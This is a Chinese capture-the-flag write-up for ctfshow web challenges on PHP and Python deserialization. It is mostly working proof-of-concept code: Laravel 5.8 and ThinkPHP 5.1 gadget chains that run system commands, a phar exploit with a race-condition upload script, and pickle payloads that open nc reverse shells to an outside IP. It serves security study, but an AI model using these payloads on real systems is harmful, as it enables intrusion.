Laravel5.8 反序列化漏洞
poc如下
<?php
namespace Illuminate\Broadcasting{
use Illuminate\Bus\Dispatcher;
use Illuminate\Foundation\Console\QueuedCommand;
class PendingBroadcast
{
protected $events;
protected $event;
public function __construct(){
$this->events=new Dispatcher();
$this->event=new QueuedCommand();
}
}
}
namespace Illuminate\Foundation\Console{
use Mockery\Generator\MockDefinition;
class QueuedCommand
{
public $connection;
public function __construct(){
$this->connection=new MockDefinition();
}
}
}
namespace Illuminate\Bus{
use Mockery\Loader\EvalLoader;
class Dispatcher
{
protected $queueResolver;
public function __construct(){
$this->queueResolver=[new EvalLoader(),'load'];
}
}
}
namespace Mockery\Loader{
class EvalLoader
{
}
}
namespace Mockery\Generator{
class MockDefinition
{
protected $config;
protected $code;
public function __construct()
{
$this->code="<?php system('cat /f*');exit()?>"; //此处是PHP代码
$this->config=new MockConfiguration();
}
}
class MockConfiguration
{
protected $name="feng";
}
}
namespace{
use Illuminate\Broadcasting\PendingBroadcast;
echo urlencode(serialize(new PendingBroadcast()));
}
ctfshow{252df281-e370-4ad7-a613-7b1c3098cbd4}
web273
同272
web274
TP5.1反序列化漏洞,直接粘poc【抽时间还会复现跟一下链子,单独写一个学习记录】
<?php
namespace think;
abstract class Model{
protected $append = [];
private $data = [];
function __construct(){
$this->append = ["lin"=>["calc.exe","calc"]];
$this->data = ["lin"=>new Request()];
}
}
class Request
{
protected $hook = [];
protected $filter = "system"; //PHP函数
protected $config = [
// 表单ajax伪装变量
'var_ajax' => '_ajax',
];
function __construct(){
$this->filter = "system";
$this->config = ["var_ajax"=>'lin']; //PHP函数的参数
$this->hook = ["visible"=>[$this,"isAjax"]];
}
}
namespace think\process\pipes;
use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
private $files = [];
public function __construct()
{
$this->files=[new Pivot()];
}
}
namespace think\model;
use think\Model;
class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>
//TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mjp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czozOiJsaW4iO2E6Mjp7aTowO3M6ODoiY2FsYy5leGUiO2k6MTtzOjQ6ImNhbGMiO319czoxNzoiAHRoaW5rXE1vZGVsAGRhdGEiO2E6MTp7czozOiJsaW4iO086MTM6InRoaW5rXFJlcXVlc3QiOjM6e3M6NzoiACoAaG9vayI7YToxOntzOjc6InZpc2libGUiO2E6Mjp7aTowO3I6OTtpOjE7czo2OiJpc0FqYXgiO319czo5OiIAKgBmaWx0ZXIiO3M6Njoic3lzdGVtIjtzOjk6IgAqAGNvbmZpZyI7YToxOntzOjg6InZhcl9hamF4IjtzOjM6ImxpbiI7fX19fX19
ctfshow{f140fd81-e50f-4cf4-97ee-4f6a94233363}
web275
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-08 19:13:36
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-08 20:08:07
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
highlight_file(__FILE__);
class filter{
public $filename;
public $filecontent;
public $evilfile=false;
public function __construct($f,$fn){
$this->filename=$f;
$this->filecontent=$fn;
}
public function checkevil(){
if(preg_match('/php|\.\./i', $this->filename)){
$this->evilfile=true;
}
if(preg_match('/flag/i', $this->filecontent)){
$this->evilfile=true;
}
return $this->evilfile;
}
public function __destruct(){
if($this->evilfile){
system('rm '.$this->filename);
}
}
}
if(isset($_GET['fn'])){
$content = file_get_contents('php://input');
$f = new filter($_GET['fn'],$content);
if($f->checkevil()===false){
file_put_contents($_GET['fn'], $content);
copy($_GET['fn'],md5(mt_rand()).'.txt');
unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);
echo 'work done';
}
}else{
echo 'where is flag?';
}
where is flag?
直接分号分割
ctfshow{32a26a24-10a2-42dd-8aaa-bda75f1d9394}
web276
- Phar反序列化
题目源码如下
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-08 19:13:36
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-08 20:08:07
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
highlight_file(__FILE__);
class filter{
public $filename;
public $filecontent;
public $evilfile=false;
public $admin = false;
public function __construct($f,$fn){
$this->filename=$f;
$this->filecontent=$fn;
}
public function checkevil(){
if(preg_match('/php|\.\./i', $this->filename)){
$this->evilfile=true;
}
if(preg_match('/flag/i', $this->filecontent)){
$this->evilfile=true;
}
return $this->evilfile;
}
public function __destruct(){
if($this->evilfile && $this->admin){
system('rm '.$this->filename);
}
}
}
if(isset($_GET['fn'])){
$content = file_get_contents('php://input');
$f = new filter($_GET['fn'],$content);
if($f->checkevil()===false){
file_put_contents($_GET['fn'], $content);
copy($_GET['fn'],md5(mt_rand()).'.txt');
unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);
echo 'work done';
}
}else{
echo 'where is flag?';
}
where is flag?
Phar前置知识补充
在这里也借着这道题目初步学习一下phar反序列化
总而言之就是一些PHP题目是没有反序列化点的,这个时候就需要往phar上靠,因为很多访问路径是可以用到一些伪协议的,phar://就是其中的一个,可以简单理解这个phar伪协议的作用就是解压phar文件,没错,也可以把phar文件当成压缩包
phar文件有个标志必须有,,只有有这个标志才会被识别为phar文件,在phar文件中是存在序列化数据的,会以序列化字符串的形式存储用户自写的meta-data
这里也初步演示认识一下phar
用phpstudy的,要生成phar文件需要将自己对应的php的php.ini里面的phar.readonly设置成Off,并且把最前面的分号去掉
简单的生成phar的程序
<?php
class TestObject {
}
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new TestObject();
$o -> data='hu3sky';
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
访问一下即可生成一个phar.phar
就是刚才说的必带的标志O:10:“TestObject”:1:{s:4:“data”;s:6:“hu3sky”;} 这个就是用户的meta-data,进行了序列化存储
当然,如何去判断能否利用phar,基本遇到下面的几个函数就可以通过phar伪协议来解析phar文件进行反序列化操作
fileatime
filectime
file_exists
file_get_contents
file_put_contents
file
filegroup
fopen
fileinode
filemtime
fileowner
fileperms
is_dir
is_executable
is_file
is_link
is_readable
is_writable
is_writeable
parse_ini_file
copy
unlink
stat
readfile
利用条件需要满足
除了上面的函数之外需要有可用的魔法函数调用当作中间跳板,函数参数可控,并且不能过滤phar://
满足这些条件就能用phar反序列化
这里也举个例子,伪协议读取phar文件然后就会进行反序列化,读取刚才生成的那个phar.phar
<?php
class TestObject{
function __destruct()
{
echo $this -> data; // TODO: Implement __destruct() method.
}
}
include('phar://phar.phar');
?>
还有就是一部分题目会不让传phar文件,就像文件上传题目不让上传php文件那样,我们应该去修改文件类型,那phar修改文件类型的方法也放这
可以看到,识别是不是phar就是看上面的那个__HALT_COMPILER();?>这段代码,所以我们只要在不影响系统识别phar文件的情况下也就是不动这个标志即可,可以对前面或者其后面的内容进行修改,加入想要伪造的文件类型的文件头以及后缀名即可
这里举个例子,就是将phar.phar文件伪造成gif文件,也就是在标志前面加一个GIF89a
<?php
class TestObject {
}
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub('GIF89a'.'<?php __HALT_COMPILER(); ?>'); //设置stub
$o = new TestObject();
$o -> data='hu3sky';
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
开做
还是分号拼接执行命令
poc如下
<?php
class filter {
public $filename = '1.txt;cat f*';
public $filecontent;
public $evilfile=true;
public $admin = true;
}
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ?>'); //设置stub
$o = new filter();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
生成phar包,但是可以发现有unlink函数,会一直删除,所以需要条件竞争执行
BP条件竞争 || python脚本
这里找了一个网上其他师傅写的脚本,直接套了
import requests
import threading
url="http://66155619-f7c6-4fb4-acf1-d196be37cdb8.chall.ctf.show:8080/"
f=open("./yn.phar","rb")
content=f.read()
def upload():
requests.post(url=url+"?fn=1.phar",data=content)
def read():
r = requests.post(url=url+"?fn=phar://1.phar/",data="1")
if "ctfshow{"in r.text or "flag{" in r.text:
print(r.text)
exit()
while 1:
t1=threading.Thread(target=upload)
t2=threading.Thread(target=read)
t1.start()
t2.start()
ctfshow{e2f7b8ff-833f-49af-a57c-0bcdd3a3716e}
web277
- python反序列化
看注释
<!--/backdoor?data= m=base64.b64decode(data) m=pickle.loads(m) -->
pickle反序列化,可以用自己的服务器接收信息反弹shell,也可以用在线平台进行接收信息
poc如下
import os
import pickle
import base64
import requests
class exp(object):
def __reduce__(self):
return (os.popen,('nc 101.42.45.215 7789 -e /bin/sh',))#此处需要nc VPS的IP...
a=exp()
s=pickle.dumps(a)
url="http://d9a47af4-ee63-4b4a-9d54-e18c4457a73d.challenge.ctf.show/backdoor"
params={
'data':base64.b64encode(s)
}
r=requests.get(url=url,params=params)
print(r.text)
ctfshow{68e8812c-9aca-4bd0-b906-e54c3399f12b}
web278
- python反序列化
过滤了os.system
poc如下
import pickle
import base64
import os
class RCE:
def __reduce__(self):
return os.popen, ("nc xxx.xxx.xxx.xxx 7777 -e /bin/sh",)
print(base64.b64encode(pickle.dumps(RCE())))
//gASVNwAAAAAAAACMAm9zlIwFcG9wZW6Uk5SMIG5jIDEwMS40Mi40NS4yMTUgNzc3NyAtZSAvYmluL3NolIWUUpQu
ctfshow{32132a71-8e96-490a-8378-aa28957f7294}